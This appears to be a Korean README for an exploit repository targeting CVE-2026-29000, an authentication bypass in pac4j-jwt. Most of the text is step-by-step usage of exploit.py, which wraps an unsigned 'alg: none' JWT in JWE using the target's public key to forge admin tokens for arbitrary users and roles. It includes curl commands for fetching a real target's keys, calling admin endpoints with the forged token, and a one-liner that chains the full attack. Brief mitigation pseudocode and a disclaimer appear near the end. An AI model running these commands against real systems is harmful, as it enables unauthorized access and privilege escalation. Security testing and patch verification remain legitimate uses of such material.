
CVE-2026-29000에 대한 익스플로잇으로, JWE로 래핑된 PlainJWT를 통한 pac4j-jwt의 JWT 인증 우회로 토큰 위조 및 권한 상승을 허용합니다.
pac4j-jwt의 JWE로 래핑된 PlainJWT를 통한 JWT 인증 우회
CVE-2026-29000은 pac4j-jwt 4.5.9, 5.7.9, 6.3.3 이전 버전에 영향을 미치는 심각한 인증 우회 취약점입니다. 이 취약점으로 인해 원격 공격자가 인증 토큰을 위조하고 서명 검증을 우회할 수 있습니다.
이 취약점은 암호화된 JWT(JWE)를 처리할 때 JwtAuthenticator 구성 요소에 존재합니다. JWE 토큰이 수신되면:
exploit.py - 악성 토큰을 생성하는 Python 익스플로잇 스크립트vulnerable_server.py - 취약점을 시뮬레이션하는 데모 서버requirements.txt - Python 종속성README.md - 이 파일# 저장소 클론
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000
# 종속성 설치
pip3 install -r requirements.txt
python3 vulnerable_server.py
서버는 다음을 수행합니다:
server_private.pem 및 server_public.pem에 저장)실제 공격 시나리오에서는 대상 서버에서 공개 키를 획득합니다:
# JWKS 엔드포인트에서 공개 키 다운로드
curl http://target-server.com/jwks > target_jwks.json
# 또는 직접 공개 키 엔드포인트
curl http://target-server.com/public-key > target_public.pem
테스트 서버의 경우:
curl http://127.0.0.1:5000/public-key > server_public.pem
익스플로잇 스크립트를 사용하여 JWE로 래핑된 PlainJWT를 생성합니다:
# 기본 사용법 - admin으로 인증
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem
# 여러 역할을 가진 특정 사용자로 인증
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem
# 사용자 정의 클레임 추가
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"[email protected]","department":"IT"}'
# 토큰을 파일로 저장
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--output malicious_token.txt
# 악성 토큰 설정 (exploit.py 출력에서 복사)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."
# 공개 엔드포인트 접근 (정상 동작)
curl http://127.0.0.1:5000/api/public
# 악성 토큰으로 사용자 엔드포인트 접근 (우회 성공!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# 악성 토큰으로 관리자 엔드포인트 접근 (권한 상승!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
관리자 엔드포인트에서 기대되는 성공 출력:
{
"status": "success",
"message": "Admin endpoint accessed - RESTRICTED DATA",
"user": "admin",
"roles": ["ROLE_ADMIN"],
"secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
"admin_info": "This is sensitive administrative data"
}
# 1. 종속성 설치
pip3 install -r requirements.txt
# 2. 취약한 서버 시작 (터미널 1)
python3 vulnerable_server.py
# 3. 새 터미널에서 공개 키 획득
curl http://127.0.0.1:5000/public-key > server_public.pem
# 4. 악성 admin 토큰 생성
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt
# 5. 토큰을 변수로 추출
TOKEN=$(cat token.txt)
# 6. 공개 엔드포인트 테스트 (기준 - 인증 불필요)
curl http://127.0.0.1:5000/api/public
# 7. 사용자 엔드포인트 테스트 (악성 토큰으로 성공해야 함)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# 8. 관리자 엔드포인트 테스트 (익스플로잇 성공 - 제한된 데이터에 접근해야 함)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
# 9. 응답에 플래그가 포함되어 있는지 확인
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'
python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem
python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem
python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'
usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
[--claims CLAIMS] [--generate-keypair] [--output OUTPUT]
CVE-2026-29000: Generate malicious JWE-wrapped PlainJWT tokens
options:
-h, --help show this help message and exit
--subject SUBJECT, -s SUBJECT
Subject (username) to impersonate
--roles ROLES, -r ROLES
Comma-separated list of roles (e.g., ROLE_ADMIN,ROLE_USER)
--public-key PUBLIC_KEY, -k PUBLIC_KEY
Path to RSA public key PEM file
--claims CLAIMS, -c CLAIMS
Additional claims as JSON string
--generate-keypair, -g
Generate a test RSA keypair and save to files
--output OUTPUT, -o OUTPUT
Output file for the generated token
1. 클라이언트가 서명이 포함된 JWT 전송
2. 서버가 공개 키로 서명 검증
3. 유효하면 클레임 추출
4. 클레임 기반으로 접근 권한 부여
1. 공격자가 서버의 RSA 공개 키 획득
2. 공격자가 임의의 클레임이 포함된 PlainJWT(alg: none) 생성
예: {"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. 공격자가 서버의 공개 키로 JWE를 사용하여 PlainJWT 암호화
4. 서버가 JWE를 성공적으로 복호화
5. 서버가 내부 PlainJWT에서 서명 검증 없이 클레임 추출
6. 서버가 위조된 클레임 기반으로 접근 권한 부여
취약점은 다음 이유로 발생합니다:
def verify_jwe_token_secure(token, private_key):
# 1. JWE 복호화
inner_jwt = decrypt_jwe(token, private_key)
# 2. 내부 JWT 헤더 파싱
header = parse_jwt_header(inner_jwt)
# 3. 중요: 알고리즘이 "none"이 아닌지 확인
if header.get('alg') == 'none':
raise SecurityError("PlainJWT not allowed")
# 4. 중요: 내부 JWT의 서명 검증
if not verify_jwt_signature(inner_jwt, public_key):
raise SecurityError("Invalid JWT signature")
# 5. 검증 후에만 클레임 추출
return extract_claims(inner_jwt)
pip3 install -r requirements.txtpython3 vulnerable_server.pycurl http://127.0.0.1:5000/public-key > server_public.pempython3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pemcurl http://127.0.0.1:5000/api/publiccurl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/usercurl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin# 원라이너 설정 및 테스트
pip3 install -r requirements.txt && \
python3 vulnerable_server.py &
sleep 2 && \
curl http://127.0.0.1:5000/public-key > server_public.pem && \
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \
TOKEN=$(cat token.txt) && \
echo "Testing exploit..." && \
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
이 도구는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 이 도구는 소유한 시스템이나 테스트 권한이 명시적으로 부여된 시스템에만 사용하십시오.
MIT 라이선스 - 교육 목적으로만 사용
보안 연구원 날짜: 2026-03-16
FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS} 찾기